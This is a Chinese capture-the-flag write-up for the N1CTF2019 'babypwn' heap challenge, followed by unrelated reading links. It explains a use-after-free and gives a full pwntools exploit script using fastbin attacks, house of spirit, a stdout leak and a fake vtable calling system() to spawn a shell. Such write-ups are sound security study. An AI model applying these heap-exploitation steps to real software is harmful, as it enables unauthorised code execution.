N1CTF2019——babypwn WP
保护 【N1CTF2019——babypwn WP】
文章图片
- 我的测试环境为ubuntu16.04.1
- 添加操作中限制只能添加10个结构体:
文章图片
- 结构体为:
struct Staff{
char Name[0x10];
char *Description;
intDescription_Size;
};
- 漏洞存在删除操作中:
文章图片
- 总的二进制程序逆向分析到这,下面来考虑怎么利用。
- 这道题和warmup那道题有点相似,但因为这是glibc2.23,所以只能用fastbin attack来攻击IO_FILE,泄露内存;再利用一次fastbin attack攻击IO_FILE或者malloc_hook来getshell。
- 但实际操作之后发现,只有9个结构体可控是完全不能达到getshell的目的,于是考虑要用一个结构体来清空整个结构体列表。
- 比较简单的方法就是先fastbin attack结构体列表,然后利用house of sprit技术来得到一个可控的结构体列表指针。
- fastbin attack结构体列表很简单,既然要用到house of sprit,就要伪造如下图所示的chunk:
文章图片
- 说明一下,这么构造的理由。首先注意到程序删除操作中,释放的是结构体的Description成员,偏移为0x10,这里的0x602050相当于结构体的基址。0x602050+0x10=0x206060,也就是Description指针指向的内存,它的实际大小为0x50。为什么next size我设定为0x71?这里先卖个关子。
- 然后就是正常的做法,分配3个结构体,大小为0x60、0x90、0x60,顺序很重要,这是为了尽量保证后面构造fastbin loop时,只有低8位不同。
- 释放0x90的chunk就会出现unsortbin chunk,再添加一个0x60的chunk就会包含有libc中的地址,修改低16位为stdout附近的低16位,构造fastbin loop。
- 再添加一个0x60大小的chunk,修改低16位为0就会指向上一块0x60大小的chunk head。以上过程的代码描述:
Add(p64(0)+p64(0x51),0x60,p64(0)+p64(0x51))#0
Add(p64(0)+p64(0x51),0x90,p64(0)+p64(0x51))#1
Add(p64(0)+p64(0x51),0x60,p64(0)+p64(0x51))#2Del(1)
Add(p64(0)*2,0x60,p16(0x25dd))#4
Del(2)
Del(0)
Del(2)
Del(0)
Add(p64(0)*2,0x60,'\x00')#5
- 这里多出一个 Del(0) 是为了消除前面释放的0x90大小的chunk后带来的影响,具体细节自己调试便知!
- 此时剩余可分配的结构体数量已不够我们后续的使用,所以需要清空一次列表,后续部分的利用就很常规了,只要注意清空列表即可,详见EXP。
- 在拿到libc的基址之后可以fastbin attack malloc_hook,可是我本机上的one_gadget均不符合使用条件,这使我像是吃了土一样难受!
- 只好利用IO_FILE来getshell,于是我选取了0x6020b0来伪造vtble,因此才有了一开始伪造chunk的时候把next size设为0x71这一出。
- 总而言之,过程十分周折!
#encoding=utf-8
from pwn import*#context.log_level=1
def Add(name,size,data):
p.sendlineafter('choice:','1')
p.sendafter('name:',name)
p.sendlineafter('size:',str(size))
p.sendafter('Description:',data)
def Del(idx):
p.sendlineafter('choice:','2')
p.sendlineafter('index:',str(idx))baby_list=0x0000000000602060
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)while True:
try:
p=process('./BabyPwn')Add('\n', 0x60, '\n')# 0
Add('\n', 0x60, '\n')# 1Del(0)
Del(1)
Del(0)
Add(p64(0x60203d),0x60,p64(0x60203d))#5
Add('\n',0x60,'\n')
Add('\n',0x60,'\n')
Add('\n',0x60,'\0'*3+p64(0x602050)+p64(0x51)+p64(0x602060)+p64(0)+p64(0)*7+p64(0x71))
Del(-2)#得到一个结构体列表的指针在下次分配0x40大小时就能被控制Add(p64(0)+p64(0x51),0x60,p64(0)+p64(0x51))#0
Add(p64(0)+p64(0x51),0x90,p64(0)+p64(0x51))#1
Add(p64(0)+p64(0x51),0x60,p64(0)+p64(0x51))#2Del(1)
Add(p64(0)*2,0x60,p16(0x25dd))#4
Del(2)
Del(0)
Del(2)
Del(0)
Add(p64(0)*2,0x60,'\x00')#5
#清空结构体列表
Add('\n',0x48,p64(0x602060)+p64(0)+p64(0)*7+p64(0x51))#6
Del(-2)Add('\0',0x60,'\0')#0
Add('\0',0x60,'\0')#1
Add('\n',0x60,'\n')#2
Add('\n',0x60,'\0'*0x33+p32(0xfbad1880)+';
sh;
'+p64(0)*3+'\x88')#3
leak=p.recvuntil('OK!')
if len(leak)<8:
raise EOFError
libc_base=u64(leak[0:6].ljust(8,'\0'))-libc.sym['_IO_2_1_stdin_']
stdout=libc_base+libc.sym['_IO_2_1_stdout_']
success("libc_base:"+hex(libc_base))
success("stdout:"+hex(stdout))Del(0)
Del(1)
Del(0)Add('\n',0x60,p64(0x6020a0))#4
Add('\n',0x60,'\n')#5
Add('\n',0x60,'\n')#6
Add('\n',0x48,p64(0)*8)#7 清空结构体列表Add('\n',0x60,p64(0)*2+p64(libc_base+libc.sym['system'])*10)#0 构造 vtable
Add('\0',0x60,'\0')#1
Add('\0',0x60,'\0')#2Del(1)
Del(2)
Del(1)Add('\n',0x60,p64(stdout+157))#3
Add('\n',0x60,'\n')#4
Add('\n',0x60,'\n')#5
Add('\n',0x60,'\0'*3+p64(0)*5+p64(0x6020b0))#6
#gdb.attach(p,'x/30gx '+str(0x0000000000602040)+'\nheap chunks\nheap bins')
p.interactive()
exit(0)
except EOFError,e:
p.close()
总结
- 此题正好可以与warmup那一题做个比较。
- 学到了怎么灵活应用攻击手段,怎么构造堆。
推荐阅读
- 急于表达——往往欲速则不达
- 慢慢的美丽
- 《真与假的困惑》???|《真与假的困惑》??? ——致良知是一种伟大的力量
- 2019-02-13——今天谈梦想()
- 考研英语阅读终极解决方案——阅读理解如何巧拿高分
- Ⅴ爱阅读,亲子互动——打卡第178天
- 低头思故乡——只是因为睡不着
- 取名——兰
- 每日一话(49)——一位清华教授在朋友圈给大学生的9条建议
- 广角叙述|广角叙述 展众生群像——试析鲁迅《示众》的展示艺术